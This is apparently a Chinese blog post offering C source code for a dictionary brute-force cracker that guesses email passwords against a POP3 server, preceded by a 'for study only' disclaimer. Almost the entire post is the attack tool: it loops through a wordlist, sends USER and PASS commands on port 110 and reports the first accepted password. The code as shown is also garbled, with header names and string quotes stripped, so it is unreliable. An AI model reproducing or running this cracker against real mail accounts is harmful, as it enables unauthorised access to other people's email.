邮箱密码暴力破解器(代码)

 


说明:
1,本程序仅供学习参考使用。严禁使用本程序进行盗取他人密码的活动。
2,-i 选项不好使(只能使用server name,如:pop3.dudu.com)。
3,本程序仅对某些pop3服务器有效。
未加修改,高手多多指教。

#include
#include
#include
#include
#include
#include
#include
#include
#include

#define BUFMAX 255
#define PORT_NO 110

#define SER_IP 1
#define USR_NAME 2
#define DIC_FNAME 4
#define GET_SER_IP(x)\
(((x)&(SER_IP))==(SER_IP) ?1 : 0 )
#define GET_USR_NAME(x)\
(((x)&(USR_NAME))==(USR_NAME) ?1 :0 )
#define GET_DIC_FNAME(x)\
(((x)&(DIC_FNAME))==(DIC_FNAME) ?1 :0 )

static char rmsg[BUFMAX],
smsg[BUFMAX];
static int sofd;
static struct sockaddr_in sv_addr;
static struct hostent *shost;
int flag;
char ser_name[64],
ser_ip[16],
user_name[32],
dic_fname[64],
passwd[32];

int crack( char *username, char *passwd );

int main( int argc, char *argv[] )
{
FILE *fp;

int argp, fnd_flag=0;

// definations for client_pro part;

if( argc<3 )
{
fprintf( stderr,
Usage: %s > (-u > [-d ]\n,
argv[0] );
exit(1);
}

flag = 0;
for( argp=1; argp {
/* get switch */
if( argv[argp][0]=='-' )
{
switch( argv[argp][1] )
{
case 'i':
if( ++argp>=argc )
{
fprintf( stderr, You didn't set the POP3 IP Address with flag -i.\n );
exit(1);
}
strcpy( ser_ip, argv[argp] );
flag |= SER_IP;
break;
case 'u':
if( ++argp>=argc )
{
fprintf( stderr, You didn't set the user on the POP3 Server with flag -u.\n );
exit(1);
}
strcpy( user_name, argv[argp] );
flag |= USR_NAME;
break;
case 'd':
if( ++argp>=argc )
{
fprintf( stderr, You didn't set the dictionary file name with flag -d.\n );
exit(1);
}
strcpy( dic_fname, argv[argp] );
flag |= DIC_FNAME;
break;
default :
fprintf( stderr, Unknown flag %s\n, argv[argp] );
exit(1);
break;
}
}
else
{
strcpy( ser_name, argv[argp] );
}
}

printf( Flag is %d\n, flag );
if( GET_SER_IP(flag) )
printf( telnet to server, IP: %s\n, ser_ip );
else
printf( telnet to server, name: %s\n, ser_name );

if( GET_USR_NAME(flag) )
printf( User : %s , user_name );
else
printf( No User. );

if( GET_DIC_FNAME(flag) )
printf( Use Dictionary File %s\n, dic_fname );
else
printf( Didn't set dictionary file .\n );

// crack( user_name, dic_fname );
fp= fopen( dic_fname, rt );
if( fp== NULL )
{
fprintf( stderr, %s not found or not useable.\n, dic_fname );
exit(1);
}

while( fscanf( fp, %s, passwd )==1 )
{
if( crack( user_name, passwd ) )
{
printf( Correct password !!! : %s\n, passwd );
fnd_flag= -1;
break;;
}
}
fclose( fp );

if( shutdown( sofd, 2 ) < 0 )
{
fprintf( stderr, Shutdown );
close( sofd );
exit(1);
}

close( sofd );
fclose( fp );

if( fnd_flag ) printf( Congratulations, you found a correct password.\n );
else printf( No correct password found.\n );
return 0 ;
}

int crack( char *username, char *passwd )
{
int cc, nbyte;

/* Make socket */
sofd = socket( PF_INET, SOCK_STREAM, 0 );
if( sofd<0 )
{
fprintf( stderr, Socket make error.\n );
exit(1);
}

// get server ip by name
if( GET_SER_IP(flag) )
{
close( sofd );
exit(1);
}
else
{
shost = gethostbyname( ser_name );
if( shost==NULL )
{
fprintf( stderr, gethostbyname error.\n );
exit(1);
}
}
bzero( (char *)&sv_addr, sizeof(sv_addr) );
sv_addr.sin_family = PF_INET;
sv_addr.sin_port = htons( PORT_NO );
memcpy( (char *)&sv_addr.sin_addr, (char *)shost->h_addr, shost->h_length );
// Connect request
if( connect( sofd, &sv_addr, sizeof(sv_addr)) < 0 )
{
fprintf( stderr, connect error\n );
close( sofd );
exit(1);
}
cc=recv( sofd, rmsg, BUFMAX, 0 );
if( cc<0 )
{
fprintf( stderr, No hello message.\n );
exit(1);
}
printf( -----------------------------------------------------------------------\n );
printf( %s, rmsg );

// make user command
memset( smsg, (char)NULL, (size_t)BUFMAX );
strcpy( smsg, user );
strcat( smsg, username );
printf( %s\n, smsg );
// send user command
nbyte = strlen( smsg );
if( send( sofd, smsg, nbyte, 0 ) <0 )
{
fprintf( stderr, send username failed.\n );
exit(1);
}

// receive answer message
memset( rmsg, (char)NULL, (size_t)BUFMAX );
cc = recv( sofd, rmsg, BUFMAX, 0 );
if( cc<0 )
{
fprintf( stderr, No answer message.\n );
exit(1);
}

printf( %s, rmsg );

memset( rmsg, (char)NULL, (size_t)BUFMAX );

// make pass message
memset( smsg, (char)NULL, (size_t)BUFMAX );
strcpy( smsg, pass );
strcat( smsg, passwd );

nbyte = strlen( smsg );

// send password
if( send( sofd, smsg, nbyte, 0 ) < 0 )
{
fprintf( stderr, Password send failed.\n );
exit(1);
}
else
printf( %s\n, smsg );

// get reply
cc = recv( sofd, rmsg, BUFMAX, 0 );
if( cc<0 )
{
fprintf( stderr, Error.\n );
exit(1);
}
printf( %s, rmsg );

if( rmsg[0] == '+' )
{
return -1;
}
else
{
return 0;
}
}

posted @ 2011-12-06 13:19  龙铭洪官方网站  阅读(1495)  评论(0编辑  收藏  举报